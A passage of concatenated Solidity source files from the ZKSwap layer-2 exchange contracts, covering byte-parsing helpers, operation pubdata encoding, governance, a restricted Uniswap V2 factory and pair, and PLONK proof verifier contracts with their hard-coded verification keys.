mload(add(_bytes, offset)) } } // See comment at the top of this file for explanation of how this function works. // NOTE: theoretically possible overflow of (_start + 0x14) function bytesToUInt160(bytes memory _bytes, uint256 _start) internal pure returns (uint160 r) { uint256 offset = _start + 0x14; require(_bytes.length >= offset, "btu20"); assembly { r := mload(add(_bytes, offset)) } } // NOTE: theoretically possible overflow of (_start + 0x20) function bytesToBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32 r) { uint256 offset = _start + 0x20; require(_bytes.length >= offset, "btb32"); assembly { r := mload(add(_bytes, offset)) } } // Original source code: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol#L228 // Get slice from bytes arrays // Returns the newly created 'bytes memory' // NOTE: theoretically possible overflow of (_start + _length) function slice( bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length), "bse11"); // bytes length is less then start byte + length bytes bytes memory tempBytes = new bytes(_length); if (_length != 0) { // TODO: Review this thoroughly. assembly { let slice_curr := add(tempBytes, 0x20) let slice_end := add(slice_curr, _length) for { let array_current := add(_bytes, add(_start, 0x20)) } lt(slice_curr, slice_end) { slice_curr := add(slice_curr, 0x20) array_current := add(array_current, 0x20) } { mstore(slice_curr, mload(array_current)) } } } return tempBytes; } /// Reads byte stream /// @return new_offset - offset + amount of bytes read /// @return data - actually read data // NOTE: theoretically possible overflow of (_offset + _length) function read(bytes memory _data, uint _offset, uint _length) internal pure returns (uint new_offset, bytes memory data) { data = slice(_data, _offset, _length); new_offset = _offset + _length; } // NOTE: theoretically possible overflow of (_offset + 1) function readBool(bytes memory _data, uint _offset) internal pure returns (uint new_offset, bool r) { new_offset = _offset + 1; r = uint8(_data[_offset]) != 0; } // NOTE: theoretically possible overflow of (_offset + 1) function readUint8(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint8 r) { new_offset = _offset + 1; r = uint8(_data[_offset]); } // NOTE: theoretically possible overflow of (_offset + 2) function readUInt16(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint16 r) { new_offset = _offset + 2; r = bytesToUInt16(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 3) function readUInt24(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint24 r) { new_offset = _offset + 3; r = bytesToUInt24(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 4) function readUInt32(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint32 r) { new_offset = _offset + 4; r = bytesToUInt32(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 16) function readUInt128(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint128 r) { new_offset = _offset + 16; r = bytesToUInt128(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 20) function readUInt160(bytes memory _data, uint _offset) internal pure returns (uint new_offset, uint160 r) { new_offset = _offset + 20; r = bytesToUInt160(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 20) function readAddress(bytes memory _data, uint _offset) internal pure returns (uint new_offset, address r) { new_offset = _offset + 20; r = bytesToAddress(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 20) function readBytes20(bytes memory _data, uint _offset) internal pure returns (uint new_offset, bytes20 r) { new_offset = _offset + 20; r = bytesToBytes20(_data, _offset); } // NOTE: theoretically possible overflow of (_offset + 32) function readBytes32(bytes memory _data, uint _offset) internal pure returns (uint new_offset, bytes32 r) { new_offset = _offset + 32; r = bytesToBytes32(_data, _offset); } // Helper function for hex conversion. function halfByteToHex(byte _byte) internal pure returns (byte _hexByte) { require(uint8(_byte) < 0x10, "hbh11"); // half byte's value is out of 0..15 range. // "FEDCBA9876543210" ASCII-encoded, shifted and automatically truncated. return byte (uint8 (0x66656463626139383736353433323130 >> (uint8 (_byte) * 8))); } // Convert bytes to ASCII hex representation function bytesToHexASCIIBytes(bytes memory _input) internal pure returns (bytes memory _output) { bytes memory outStringBytes = new bytes(_input.length * 2); // code in `assembly` construction is equivalent of the next code: // for (uint i = 0; i < _input.length; ++i) { // outStringBytes[i*2] = halfByteToHex(_input[i] >> 4); // outStringBytes[i*2+1] = halfByteToHex(_input[i] & 0x0f); // } assembly { let input_curr := add(_input, 0x20) let input_end := add(input_curr, mload(_input)) for { let out_curr := add(outStringBytes, 0x20) } lt(input_curr, input_end) { input_curr := add(input_curr, 0x01) out_curr := add(out_curr, 0x02) } { let curr_input_byte := shr(0xf8, mload(input_curr)) // here outStringByte from each half of input byte calculates by the next: // // "FEDCBA9876543210" ASCII-encoded, shifted and automatically truncated. // outStringByte = byte (uint8 (0x66656463626139383736353433323130 >> (uint8 (_byteHalf) * 8))) mstore(out_curr, shl(0xf8, shr(mul(shr(0x04, curr_input_byte), 0x08), 0x66656463626139383736353433323130))) mstore(add(out_curr, 0x01), shl(0xf8, shr(mul(and(0x0f, curr_input_byte), 0x08), 0x66656463626139383736353433323130))) } } return outStringBytes; } /// Trim bytes into single word function trim(bytes memory _data, uint _new_length) internal pure returns (uint r) { require(_new_length <= 0x20, "trm10"); // new_length is longer than word require(_data.length >= _new_length, "trm11"); // data is to short uint a; assembly { a := mload(add(_data, 0x20)) // load bytes into uint256 } return a >> ((0x20 - _new_length) * 8); } } pragma solidity ^0.5.0; import "./Bytes.sol"; /// @title ZKSwap operations tools library Operations { // Circuit ops and their pubdata (chunks * bytes) /// @notice ZKSwap circuit operation type enum OpType { Noop, Deposit, TransferToNew, PartialExit, _CloseAccount, // used for correct op id offset Transfer, FullExit, ChangePubKey, CreatePair, AddLiquidity, RemoveLiquidity, Swap } // Byte lengths uint8 constant TOKEN_BYTES = 2; uint8 constant PUBKEY_BYTES = 32; uint8 constant NONCE_BYTES = 4; uint8 constant PUBKEY_HASH_BYTES = 20; uint8 constant ADDRESS_BYTES = 20; /// @notice Packed fee bytes lengths uint8 constant FEE_BYTES = 2; /// @notice ZKSwap account id bytes lengths uint8 constant ACCOUNT_ID_BYTES = 4; uint8 constant AMOUNT_BYTES = 16; /// @notice Signature (for example full exit signature) bytes length uint8 constant SIGNATURE_BYTES = 64; // Deposit pubdata struct Deposit { uint32 accountId; uint16 tokenId; uint128 amount; address owner; } uint public constant PACKED_DEPOSIT_PUBDATA_BYTES = ACCOUNT_ID_BYTES + TOKEN_BYTES + AMOUNT_BYTES + ADDRESS_BYTES; /// Deserialize deposit pubdata function readDepositPubdata(bytes memory _data) internal pure returns (Deposit memory parsed) { // NOTE: there is no check that variable sizes are same as constants (i.e. TOKEN_BYTES), fix if possible. uint offset = 0; (offset, parsed.accountId) = Bytes.readUInt32(_data, offset); // accountId (offset, parsed.tokenId) = Bytes.readUInt16(_data, offset); // tokenId (offset, parsed.amount) = Bytes.readUInt128(_data, offset); // amount (offset, parsed.owner) = Bytes.readAddress(_data, offset); // owner require(offset == PACKED_DEPOSIT_PUBDATA_BYTES, "rdp10"); // reading invalid deposit pubdata size } /// Serialize deposit pubdata function writeDepositPubdata(Deposit memory op) internal pure returns (bytes memory buf) { buf = abi.encodePacked( bytes4(0), // accountId (ignored) (update when ACCOUNT_ID_BYTES is changed) op.tokenId, // tokenId op.amount, // amount op.owner // owner ); } /// @notice Check that deposit pubdata from request and block matches function depositPubdataMatch(bytes memory _lhs, bytes memory _rhs) internal pure returns (bool) { // We must ignore `accountId` because it is present in block pubdata but not in priority queue bytes memory lhs_trimmed = Bytes.slice(_lhs, ACCOUNT_ID_BYTES, PACKED_DEPOSIT_PUBDATA_BYTES - ACCOUNT_ID_BYTES); bytes memory rhs_trimmed = Bytes.slice(_rhs, ACCOUNT_ID_BYTES, PACKED_DEPOSIT_PUBDATA_BYTES - ACCOUNT_ID_BYTES); return keccak256(lhs_trimmed) == keccak256(rhs_trimmed); } // FullExit pubdata struct FullExit { uint32 accountId; address owner; uint16 tokenId; uint128 amount; } uint public constant PACKED_FULL_EXIT_PUBDATA_BYTES = ACCOUNT_ID_BYTES + ADDRESS_BYTES + TOKEN_BYTES + AMOUNT_BYTES; function readFullExitPubdata(bytes memory _data) internal pure returns (FullExit memory parsed) { // NOTE: there is no check that variable sizes are same as constants (i.e. TOKEN_BYTES), fix if possible. uint offset = 0; (offset, parsed.accountId) = Bytes.readUInt32(_data, offset); // accountId (offset, parsed.owner) = Bytes.readAddress(_data, offset); // owner (offset, parsed.tokenId) = Bytes.readUInt16(_data, offset); // tokenId (offset, parsed.amount) = Bytes.readUInt128(_data, offset); // amount require(offset == PACKED_FULL_EXIT_PUBDATA_BYTES, "rfp10"); // reading invalid full exit pubdata size } function writeFullExitPubdata(FullExit memory op) internal pure returns (bytes memory buf) { buf = abi.encodePacked( op.accountId, // accountId op.owner, // owner op.tokenId, // tokenId op.amount // amount ); } /// @notice Check that full exit pubdata from request and block matches function fullExitPubdataMatch(bytes memory _lhs, bytes memory _rhs) internal pure returns (bool) { // `amount` is ignored because it is present in block pubdata but not in priority queue uint lhs = Bytes.trim(_lhs, PACKED_FULL_EXIT_PUBDATA_BYTES - AMOUNT_BYTES); uint rhs = Bytes.trim(_rhs, PACKED_FULL_EXIT_PUBDATA_BYTES - AMOUNT_BYTES); return lhs == rhs; } // PartialExit pubdata struct PartialExit { //uint32 accountId; -- present in pubdata, ignored at serialization uint16 tokenId; uint128 amount; //uint16 fee; -- present in pubdata, ignored at serialization address owner; } function readPartialExitPubdata(bytes memory _data, uint _offset) internal pure returns (PartialExit memory parsed) { // NOTE: there is no check that variable sizes are same as constants (i.e. TOKEN_BYTES), fix if possible. uint offset = _offset + ACCOUNT_ID_BYTES; // accountId (ignored) (offset, parsed.owner) = Bytes.readAddress(_data, offset); // owner (offset, parsed.tokenId) = Bytes.readUInt16(_data, offset); // tokenId (offset, parsed.amount) = Bytes.readUInt128(_data, offset); // amount } function writePartialExitPubdata(PartialExit memory op) internal pure returns (bytes memory buf) { buf = abi.encodePacked( bytes4(0), // accountId (ignored) (update when ACCOUNT_ID_BYTES is changed) op.owner, // owner op.tokenId, // tokenId op.amount // amount ); } // ChangePubKey struct ChangePubKey { uint32 accountId; bytes20 pubKeyHash; address owner; uint32 nonce; } function readChangePubKeyPubdata(bytes memory _data, uint _offset) internal pure returns (ChangePubKey memory parsed) { uint offset = _offset; (offset, parsed.accountId) = Bytes.readUInt32(_data, offset); // accountId (offset, parsed.pubKeyHash) = Bytes.readBytes20(_data, offset); // pubKeyHash (offset, parsed.owner) = Bytes.readAddress(_data, offset); // owner (offset, parsed.nonce) = Bytes.readUInt32(_data, offset); // nonce } // Withdrawal data process function readWithdrawalData(bytes memory _data, uint _offset) internal pure returns (bool _addToPendingWithdrawalsQueue, address _to, uint16 _tokenId, uint128 _amount) { uint offset = _offset; (offset, _addToPendingWithdrawalsQueue) = Bytes.readBool(_data, offset); (offset, _to) = Bytes.readAddress(_data, offset); (offset, _tokenId) = Bytes.readUInt16(_data, offset); (offset, _amount) = Bytes.readUInt128(_data, offset); } // CreatePair pubdata struct CreatePair { uint32 accountId; uint16 tokenA; uint16 tokenB; uint16 tokenPair; address pair; } uint public constant PACKED_CREATE_PAIR_PUBDATA_BYTES = ACCOUNT_ID_BYTES + TOKEN_BYTES + TOKEN_BYTES + TOKEN_BYTES + ADDRESS_BYTES; function readCreatePairPubdata(bytes memory _data) internal pure returns (CreatePair memory parsed) { uint offset = 0; (offset, parsed.accountId) = Bytes.readUInt32(_data, offset); // accountId (offset, parsed.tokenA) = Bytes.readUInt16(_data, offset); // tokenAId (offset, parsed.tokenB) = Bytes.readUInt16(_data, offset); // tokenBId (offset, parsed.tokenPair) = Bytes.readUInt16(_data, offset); // pairId (offset, parsed.pair) = Bytes.readAddress(_data, offset); // pairId require(offset == PACKED_CREATE_PAIR_PUBDATA_BYTES, "rcp10"); // reading invalid create pair pubdata size } function writeCreatePairPubdata(CreatePair memory op) internal pure returns (bytes memory buf) { buf = abi.encodePacked( bytes4(0), // accountId (ignored) (update when ACCOUNT_ID_BYTES is changed) op.tokenA, // tokenAId op.tokenB, // tokenBId op.tokenPair, // pairId op.pair // pair account ); } /// @notice Check that create pair pubdata from request and block matches function createPairPubdataMatch(bytes memory _lhs, bytes memory _rhs) internal pure returns (bool) { // We must ignore `accountId` because it is present in block pubdata but not in priority queue bytes memory lhs_trimmed = Bytes.slice(_lhs, ACCOUNT_ID_BYTES, PACKED_CREATE_PAIR_PUBDATA_BYTES - ACCOUNT_ID_BYTES); bytes memory rhs_trimmed = Bytes.slice(_rhs, ACCOUNT_ID_BYTES, PACKED_CREATE_PAIR_PUBDATA_BYTES - ACCOUNT_ID_BYTES); return keccak256(lhs_trimmed) == keccak256(rhs_trimmed); } } pragma solidity ^0.5.0; /// @title Interface of the upgradeable master contract (defines notice period duration and allows finish upgrade during preparation of it) /// @author Matter Labs /// @author ZKSwap L2 Labs interface UpgradeableMaster { /// @notice Notice period before activation preparation status of upgrade mode function getNoticePeriod() external returns (uint); /// @notice Notifies contract that notice period started function upgradeNoticePeriodStarted() external; /// @notice Notifies contract that upgrade preparation status is activated function upgradePreparationStarted() external; /// @notice Notifies contract that upgrade canceled function upgradeCanceled() external; /// @notice Notifies contract that upgrade finishes function upgradeFinishes() external; /// @notice Checks that contract is ready for upgrade /// @return bool flag indicating that contract is ready for upgrade function isReadyForUpgrade() external returns (bool); } pragma solidity =0.5.16; import './interfaces/IUniswapV2Factory.sol'; import './UniswapV2Pair.sol'; contract UniswapV2Factory is IUniswapV2Factory { mapping(address => mapping(address => address)) public getPair; address[] public allPairs; address public zkSyncAddress; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor() public { } function initialize(bytes calldata data) external { } function setZkSyncAddress(address _zksyncAddress) external { require(zkSyncAddress == address(0), "szsa1"); zkSyncAddress = _zksyncAddress; } /// @notice PairManager contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function. /// @param upgradeParameters Encoded representation of upgrade parameters function upgrade(bytes calldata upgradeParameters) external {} function allPairsLength() external view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB) external returns (address pair) { require(msg.sender == zkSyncAddress, 'fcp1'); require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } require(zkSyncAddress != address(0), 'wzk'); IUniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function mint(address pair, address to, uint amount) external { require(msg.sender == zkSyncAddress, 'fmt1'); IUniswapV2Pair(pair).mint(to, amount); } function burn(address pair, address to, uint amount) external { require(msg.sender == zkSyncAddress, 'fbr1'); IUniswapV2Pair(pair).burn(to, amount); } } pragma solidity ^0.5.0; contract PairTokenManager { /// @notice Max amount of pair tokens registered in the network. uint16 constant MAX_AMOUNT_OF_PAIR_TOKENS = 49152; uint16 constant PAIR_TOKEN_START_ID = 16384; /// @notice Total number of pair tokens registered in the network uint16 public totalPairTokens; /// @notice List of registered tokens by tokenId mapping(uint16 => address) public tokenAddresses; /// @notice List of registered tokens by address mapping(address => uint16) public tokenIds; /// @notice Token added to Franklin net event NewToken( address indexed token, uint16 indexed tokenId ); function addPairToken(address _token) internal { require(tokenIds[_token] == 0, "pan1"); // token exists require(totalPairTokens < MAX_AMOUNT_OF_PAIR_TOKENS, "pan2"); // no free identifiers for tokens uint16 newPairTokenId = PAIR_TOKEN_START_ID + totalPairTokens; totalPairTokens++; tokenAddresses[newPairTokenId] = _token; tokenIds[_token] = newPairTokenId; emit NewToken(_token, newPairTokenId); } /// @notice Validate pair token address /// @param _tokenAddr Token address /// @return tokens id function validatePairTokenAddress(address _tokenAddr) public view returns (uint16) { uint16 tokenId = tokenIds[_tokenAddr]; require(tokenId != 0, "pms3"); require(tokenId <= (PAIR_TOKEN_START_ID -1 + MAX_AMOUNT_OF_PAIR_TOKENS), "pms4"); return tokenId; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./Config.sol"; /// @title Governance Contract /// @author Matter Labs /// @author ZKSwap L2 Labs contract Governance is Config { /// @notice Token added to Franklin net event NewToken( address indexed token, uint16 indexed tokenId ); /// @notice Governor changed event NewGovernor( address newGovernor ); /// @notice tokenLister changed event NewTokenLister( address newTokenLister ); /// @notice Validator's status changed event ValidatorStatusUpdate( address indexed validatorAddress, bool isActive ); /// @notice Address which will exercise governance over the network i.e. add tokens, change validator set, conduct upgrades address public networkGovernor; /// @notice Total number of ERC20 fee tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0) uint16 public totalFeeTokens; /// @notice Total number of ERC20 user tokens registered in the network uint16 public totalUserTokens; /// @notice List of registered tokens by tokenId mapping(uint16 => address) public tokenAddresses; /// @notice List of registered tokens by address mapping(address => uint16) public tokenIds; /// @notice List of permitted validators mapping(address => bool) public validators; address public tokenLister; constructor() public { networkGovernor = msg.sender; } /// @notice Governance contract initialization. Can be external because Proxy contract intercepts illegal calls of this function. /// @param initializationParameters Encoded representation of initialization parameters: /// _networkGovernor The address of network governor function initialize(bytes calldata initializationParameters) external { require(networkGovernor == address(0), "init0"); (address _networkGovernor, address _tokenLister) = abi.decode(initializationParameters, (address, address)); networkGovernor = _networkGovernor; tokenLister = _tokenLister; } /// @notice Governance contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function. /// @param upgradeParameters Encoded representation of upgrade parameters function upgrade(bytes calldata upgradeParameters) external {} /// @notice Change current governor /// @param _newGovernor Address of the new governor function changeGovernor(address _newGovernor) external { requireGovernor(msg.sender); require(_newGovernor != address(0), "zero address is passed as _newGovernor"); if (networkGovernor != _newGovernor) { networkGovernor = _newGovernor; emit NewGovernor(_newGovernor); } } /// @notice Change current governor /// @param _newTokenLister Address of the new governor function changeTokenLister(address _newTokenLister) external { requireGovernor(msg.sender); require(_newTokenLister != address(0), "zero address is passed as _newTokenLister"); if (tokenLister != _newTokenLister) { tokenLister = _newTokenLister; emit NewTokenLister(_newTokenLister); } } /// @notice Add fee token to the list of networks tokens /// @param _token Token address function addFeeToken(address _token) external { requireGovernor(msg.sender); require(tokenIds[_token] == 0, "gan11"); // token exists require(totalFeeTokens < MAX_AMOUNT_OF_REGISTERED_FEE_TOKENS, "fee12"); // no free identifiers for tokens require( _token != address(0), "address cannot be zero" ); totalFeeTokens++; uint16 newTokenId = totalFeeTokens; // it is not `totalTokens - 1` because tokenId = 0 is reserved for eth tokenAddresses[newTokenId] = _token; tokenIds[_token] = newTokenId; emit NewToken(_token, newTokenId); } /// @notice Add token to the list of networks tokens /// @param _token Token address function addToken(address _token) external { requireTokenLister(msg.sender); require(tokenIds[_token] == 0, "gan11"); // token exists require(totalUserTokens < MAX_AMOUNT_OF_REGISTERED_USER_TOKENS, "gan12"); // no free identifiers for tokens require( _token != address(0), "address cannot be zero" ); uint16 newTokenId = USER_TOKENS_START_ID + totalUserTokens; totalUserTokens++; tokenAddresses[newTokenId] = _token; tokenIds[_token] = newTokenId; emit NewToken(_token, newTokenId); } /// @notice Change validator status (active or not active) /// @param _validator Validator address /// @param _active Active flag function setValidator(address _validator, bool _active) external { requireGovernor(msg.sender); if (validators[_validator] != _active) { validators[_validator] = _active; emit ValidatorStatusUpdate(_validator, _active); } } /// @notice Check if specified address is is governor /// @param _address Address to check function requireGovernor(address _address) public view { require(_address == networkGovernor, "grr11"); // only by governor } /// @notice Check if specified address can list token /// @param _address Address to check function requireTokenLister(address _address) public view { require(_address == networkGovernor || _address == tokenLister, "grr11"); // token lister or governor } /// @notice Checks if validator is active /// @param _address Validator address function requireActiveValidator(address _address) external view { require(validators[_address], "grr21"); // validator is not active } /// @notice Validate token id (must be less than or equal to total tokens amount) /// @param _tokenId Token id /// @return bool flag that indicates if token id is less than or equal to total tokens amount function isValidTokenId(uint16 _tokenId) external view returns (bool) { return (_tokenId <= totalFeeTokens) || (_tokenId >= USER_TOKENS_START_ID && _tokenId < (USER_TOKENS_START_ID + totalUserTokens )); } /// @notice Validate token address /// @param _tokenAddr Token address /// @return tokens id function validateTokenAddress(address _tokenAddr) external view returns (uint16) { uint16 tokenId = tokenIds[_tokenAddr]; require(tokenId != 0, "gvs11"); // 0 is not a valid token require(tokenId <= MAX_AMOUNT_OF_REGISTERED_TOKENS, "gvs12"); return tokenId; } function getTokenAddress(uint16 _tokenId) external view returns (address) { address tokenAddr = tokenAddresses[_tokenId]; return tokenAddr; } } pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; import "./KeysWithPlonkAggVerifier.sol"; // Hardcoded constants to avoid accessing store contract Verifier is KeysWithPlonkAggVerifier { bool constant DUMMY_VERIFIER = false; function initialize(bytes calldata) external { } /// @notice Verifier contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function. /// @param upgradeParameters Encoded representation of upgrade parameters function upgrade(bytes calldata upgradeParameters) external {} function isBlockSizeSupported(uint32 _size) public pure returns (bool) { if (DUMMY_VERIFIER) { return true; } else { return isBlockSizeSupportedInternal(_size); } } function verifyMultiblockProof( uint256[] calldata _recursiveInput, uint256[] calldata _proof, uint32[] calldata _block_sizes, uint256[] calldata _individual_vks_inputs, uint256[] calldata _subproofs_limbs ) external view returns (bool) { if (DUMMY_VERIFIER) { uint oldGasValue = gasleft(); uint tmp; while (gasleft() + 500000 > oldGasValue) { tmp += 1; } return true; } uint8[] memory vkIndexes = new uint8[](_block_sizes.length); for (uint32 i = 0; i < _block_sizes.length; i++) { vkIndexes[i] = blockSizeToVkIndex(_block_sizes[i]); } VerificationKey memory vk = getVkAggregated(uint32(_block_sizes.length)); return verify_serialized_proof_with_recursion(_recursiveInput, _proof, VK_TREE_ROOT, VK_MAX_INDEX, vkIndexes, _individual_vks_inputs, _subproofs_limbs, vk); } } pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; import "./KeysWithPlonkSingleVerifier.sol"; // Hardcoded constants to avoid accessing store contract VerifierExit is KeysWithPlonkSingleVerifier { function initialize(bytes calldata) external { } /// @notice VerifierExit contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function. /// @param upgradeParameters Encoded representation of upgrade parameters function upgrade(bytes calldata upgradeParameters) external {} function verifyExitProof( bytes32 _rootHash, uint32 _accountId, address _owner, uint16 _tokenId, uint128 _amount, uint256[] calldata _proof ) external view returns (bool) { bytes32 commitment = sha256(abi.encodePacked(_rootHash, _accountId, _owner, _tokenId, _amount)); uint256[] memory inputs = new uint256[](1); uint256 mask = (~uint256(0)) >> 3; inputs[0] = uint256(commitment) & mask; Proof memory proof = deserialize_proof(inputs, _proof); VerificationKey memory vk = getVkExit(); require(vk.num_inputs == inputs.length); return verify(proof, vk); } function concatBytes(bytes memory param1, bytes memory param2) public pure returns (bytes memory) { bytes memory merged = new bytes(param1.length + param2.length); uint k = 0; for (uint i = 0; i < param1.length; i++) { merged[k] = param1[i]; k++; } for (uint i = 0; i < param2.length; i++) { merged[k] = param2[i]; k++; } return merged; } function verifyLpExitProof( bytes calldata _account_data, bytes calldata _pair_data0, bytes calldata _pair_data1, uint256[] calldata _proof ) external view returns (bool) { bytes memory _data1 = concatBytes(_account_data, _pair_data0); bytes memory _data2 = concatBytes(_data1, _pair_data1); bytes32 commitment = sha256(_data2); uint256[] memory inputs = new uint256[](1); uint256 mask = (~uint256(0)) >> 3; inputs[0] = uint256(commitment) & mask; Proof memory proof = deserialize_proof(inputs, _proof); VerificationKey memory vk = getVkLpExit(); require(vk.num_inputs == inputs.length); return verify(proof, vk); } } pragma solidity ^0.5.0; /// @title Interface of the upgradeable contract /// @author Matter Labs /// @author ZKSwap L2 Labs interface Upgradeable { /// @notice Upgrades target of upgradeable contract /// @param newTarget New target /// @param newTargetInitializationParameters New target initialization parameters function upgradeTarget(address newTarget, bytes calldata newTargetInitializationParameters) external; } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); } pragma solidity =0.5.16; import './interfaces/IUniswapV2Pair.sol'; import './UniswapV2ERC20.sol'; import './libraries/Math.sol'; import './libraries/UQ112x112.sol'; import './interfaces/IUNISWAPERC20.sol'; import './interfaces/IUniswapV2Factory.sol'; import './interfaces/IUniswapV2Callee.sol'; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using UniswapSafeMath for uint; using UQ112x112 for uint224; address public factory; address public token0; address public token1; uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } function mint(address to, uint amount) external lock { require(msg.sender == factory, 'mt1'); _mint(to, amount); } function burn(address to, uint amount) external lock { require(msg.sender == factory, 'br1'); _burn(to, amount); } } pragma solidity >=0.5.0 <0.7.0; pragma experimental ABIEncoderV2; import "./PlonkAggCore.sol"; // Hardcoded constants to avoid accessing store contract KeysWithPlonkAggVerifier is AggVerifierWithDeserialize { uint256 constant VK_TREE_ROOT = 0x0a3cdc9655e61bf64758c1e8df745723e9b83addd4f0d0f2dd65dc762dc1e9e7; uint8 constant VK_MAX_INDEX = 5; function isBlockSizeSupportedInternal(uint32 _size) internal pure returns (bool) { if (_size == uint32(6)) { return true; } else if (_size == uint32(12)) { return true; } else if (_size == uint32(48)) { return true; } else if (_size == uint32(96)) { return true; } else if (_size == uint32(204)) { return true; } else if (_size == uint32(420)) { return true; } else { return false; } } function blockSizeToVkIndex(uint32 _chunks) internal pure returns (uint8) { if (_chunks == uint32(6)) { return 0; } else if (_chunks == uint32(12)) { return 1; } else if (_chunks == uint32(48)) { return 2; } else if (_chunks == uint32(96)) { return 3; } else if (_chunks == uint32(204)) { return 4; } else if (_chunks == uint32(420)) { return 5; } } function getVkAggregated(uint32 _blocks) internal pure returns (VerificationKey memory vk) { if (_blocks == uint32(1)) { return getVkAggregated1(); } else if (_blocks == uint32(5)) { return getVkAggregated5(); } } function getVkAggregated1() internal pure returns(VerificationKey memory vk) { vk.domain_size = 4194304; vk.num_inputs = 1; vk.omega = PairingsBn254.new_fr(0x18c95f1ae6514e11a1b30fd7923947c5ffcec5347f16e91b4dd654168326bede); vk.gate_setup_commitments[0] = PairingsBn254.new_g1( 0x19fbd6706b4cbde524865701eae0ae6a270608a09c3afdab7760b685c1c6c41b, 0x25082a191f0690c175cc9af1106c6c323b5b5de4e24dc23be1e965e1851bca48 ); vk.gate_setup_commitments[1] = PairingsBn254.new_g1( 0x16c02d9ca95023d1812a58d16407d1ea065073f02c916290e39242303a8a1d8e, 0x230338b422ce8533e27cd50086c28cb160cf05a7ae34ecd5899dbdf449dc7ce0 ); vk.gate_setup_commitments[2] = PairingsBn254.new_g1( 0x1db0d133243750e1ea692050bbf6068a49dc9f6bae1f11960b6ce9e10adae0f5, 0x12a453ed0121ae05de60848b4374d54ae4b7127cb307372e14e8daf5097c5123 ); vk.gate_setup_commitments[3] = PairingsBn254.new_g1( 0x1062ed5e86781fd34f78938e5950c2481a79f132085d2bc7566351ddff9fa3b7, 0x2fd7aac30f645293cc99883ab57d8c99a518d5b4ab40913808045e8653497346 ); vk.gate_setup_commitments[4] = PairingsBn254.new_g1( 0x062755048bb95739f845e8659795813127283bf799443d62fea600ae23e7f263, 0x2af86098beaa241281c78a454c5d1aa6e9eedc818c96cd1e6518e1ac2d26aa39 ); vk.gate_setup_commitments[5] = PairingsBn254.new_g1( 0x0994e25148bbd25be655034f81062d1ebf0a1c2b41e0971434beab1ae8101474, 0x27cc8cfb1fafd13068aeee0e08a272577d89f8aa0fb8507aabbc62f37587b98f ); 